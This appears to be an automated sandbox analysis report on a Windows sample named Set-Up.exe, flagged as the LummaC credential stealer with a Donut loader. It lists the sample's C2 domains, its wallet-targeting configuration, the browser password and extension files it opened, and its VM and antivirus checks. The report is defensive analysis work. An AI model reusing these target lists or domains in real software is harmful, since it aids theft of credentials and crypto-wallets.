Source: Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Set-Up.exe, 00000000.00000003.1922938061.0000000003B3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Set-Up.exe, 00000000.00000003.1922938061.0000000003B3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Set-Up.exe, 00000000.00000003.1922938061.0000000003B3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Set-Up.exe, 00000000.00000003.1922938061.0000000003B3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Set-Up.exe, 00000000.00000003.1922938061.0000000003B3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49742 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\Set-Up.exe

Code function: 0_2_026AF556 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,CreateThread,

0_2_026AF556

Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02660396	0_2_02660396
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026AF556	0_2_026AF556
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026952C4	0_2_026952C4
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02688293	0_2_02688293
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026A1343	0_2_026A1343
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02682343	0_2_02682343
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0268E02D	0_2_0268E02D
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026670F3	0_2_026670F3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026650F3	0_2_026650F3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026720FF	0_2_026720FF
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0267F0C3	0_2_0267F0C3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0268E084	0_2_0268E084
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0266C173	0_2_0266C173
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0268411E	0_2_0268411E
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026901E3	0_2_026901E3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026646D3	0_2_026646D3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0268D6DF	0_2_0268D6DF
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02679773	0_2_02679773
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026A1723	0_2_026A1723
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02681733	0_2_02681733
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0268A781	0_2_0268A781
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0269A4F3	0_2_0269A4F3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026774A7	0_2_026774A7
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02693487	0_2_02693487
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0267A503	0_2_0267A503
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0266E5AA	0_2_0266E5AA
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0269B583	0_2_0269B583
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02691A0D	0_2_02691A0D
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02667A03	0_2_02667A03
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026A1A13	0_2_026A1A13
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0269AAE3	0_2_0269AAE3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0267BAC5	0_2_0267BAC5
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02665AA3	0_2_02665AA3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02693A93	0_2_02693A93
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02694B6B	0_2_02694B6B
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0269BB73	0_2_0269BB73
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02672866	0_2_02672866
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02680853	0_2_02680853
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026778D7	0_2_026778D7
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02681E63	0_2_02681E63
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02695E53	0_2_02695E53
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0267CE13	0_2_0267CE13
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02669ED3	0_2_02669ED3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02667E93	0_2_02667E93
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0268DF6F	0_2_0268DF6F
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0269DF63	0_2_0269DF63
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02668C73	0_2_02668C73
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02672C33	0_2_02672C33
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026A1CD3	0_2_026A1CD3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02675CBB	0_2_02675CBB
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0266AD43	0_2_0266AD43
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02685DBC	0_2_02685DBC

Source: C:\Users\user\Desktop\Set-Up.exe	Code function: String function: 02669803 appears 70 times
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: String function: 02674E23 appears 110 times

Source: Set-Up.exe

Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)

Source: Set-Up.exe

Static PE information: Number of sections : 11 > 10

Source: Set-Up.exe, 00000000.00000003.1859572171.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs Set-Up.exe
Source: Set-Up.exe, 00000000.00000000.1739165137.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs Set-Up.exe
Source: Set-Up.exe	Binary or memory string: OriginalFileName vs Set-Up.exe

Source: Set-Up.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\Set-Up.exe

Code function: 0_2_02660AA6 CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,

0_2_02660AA6

Source: C:\Users\user\Desktop\Set-Up.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\Set-Up.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Set-Up.exe, 00000000.00000003.1888026494.0000000003A47000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1888776311.0000000003A15000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\Set-Up.exe

File read: C:\Users\user\Desktop\Set-Up.exe

Jump to behavior

Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Set-Up.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Set-Up.exe

Static file information: File size 4180480 > 1048576

Source: Set-Up.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2fd400

Source: Set-Up.exe

Static PE information: real checksum: 0x84afb72 should be: 0x4046cd

Source: Set-Up.exe

Static PE information: section name: .didata

Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_3_00B067C8 push eax; ret	0_3_00B067C9
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_3_00AC403F push eax; retf 0005h	0_3_00AC4067
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_3_00B067C8 push eax; ret	0_3_00B067C9
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_3_00AC403F push eax; retf 0005h	0_3_00AC4067
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_3_00B067C8 push eax; ret	0_3_00B067C9
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_3_00AC403F push eax; retf 0005h	0_3_00AC4067
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_3_00B067C8 push eax; ret	0_3_00B067C9
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_3_00B067C8 push eax; ret	0_3_00B067C9
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_3_00AC403F push eax; retf 0005h	0_3_00AC4067
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_0267E022 push esi; ret	0_2_0267E026
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_026A08D3 push eax; mov dword ptr [esp], 70737205h	0_2_026A08D5

Source: C:\Users\user\Desktop\Set-Up.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Set-Up.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Set-Up.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Set-Up.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Set-Up.exe TID: 7476	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe TID: 7496	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Set-Up.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: Set-Up.exe, 00000000.00000003.1982866897.0000000000A4B000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1982866897.0000000000A80000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Set-Up.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02660396 mov edx, dword ptr fs:[00000030h]	0_2_02660396
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02660956 mov eax, dword ptr fs:[00000030h]	0_2_02660956
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02660FA6 mov eax, dword ptr fs:[00000030h]	0_2_02660FA6
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02660FA5 mov eax, dword ptr fs:[00000030h]	0_2_02660FA5
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 0_2_02660D06 mov eax, dword ptr fs:[00000030h]	0_2_02660D06

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: Set-Up.exe	String found in binary or memory: skatestringje.click
Source: Set-Up.exe	String found in binary or memory: miniatureyu.lat
Source: Set-Up.exe	String found in binary or memory: leggelatez.lat
Source: Set-Up.exe	String found in binary or memory: washyceehsu.lat
Source: Set-Up.exe	String found in binary or memory: bloodyswif.lat
Source: Set-Up.exe	String found in binary or memory: finickypwk.lat
Source: Set-Up.exe	String found in binary or memory: shoefeatthe.lat
Source: Set-Up.exe	String found in binary or memory: savorraiykj.lat
Source: Set-Up.exe	String found in binary or memory: kickykiduz.lat

Source: Set-Up.exe

Binary or memory string: Progman

Source: C:\Users\user\Desktop\Set-Up.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Set-Up.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Set-Up.exe, Set-Up.exe, 00000000.00000003.1952369366.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1983451685.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1952489776.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1952109530.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Set-Up.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Set-Up.exe PID: 7352, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Set-Up.exe, 00000000.00000003.1983451685.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :2,"fs":20971520},{"t":0,"p":"%appdata%\\Bitcoin\\wallets","m":[""],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":["*"],"z":"Wallets/Electrum","d":0,"fs":2097
Source: Set-Up.exe	String found in binary or memory: llets/ElectronCash
Source: Set-Up.exe, 00000000.00000003.1940649069.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: Set-Up.exe, 00000000.00000003.1983451685.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :2,"fs":20971520},{"t":0,"p":"%appdata%\\Bitcoin\\wallets","m":[""],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":["*"],"z":"Wallets/Electrum","d":0,"fs":2097
Source: Set-Up.exe, 00000000.00000003.1983451685.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: },{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":$ Q&"
Source: Set-Up.exe, 00000000.00000003.1940573119.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: Set-Up.exe, 00000000.00000003.1983451685.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: },{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":$ Q&"
Source: Set-Up.exe, 00000000.00000003.1940402195.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Set-Up.exe, 00000000.00000003.1940402195.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
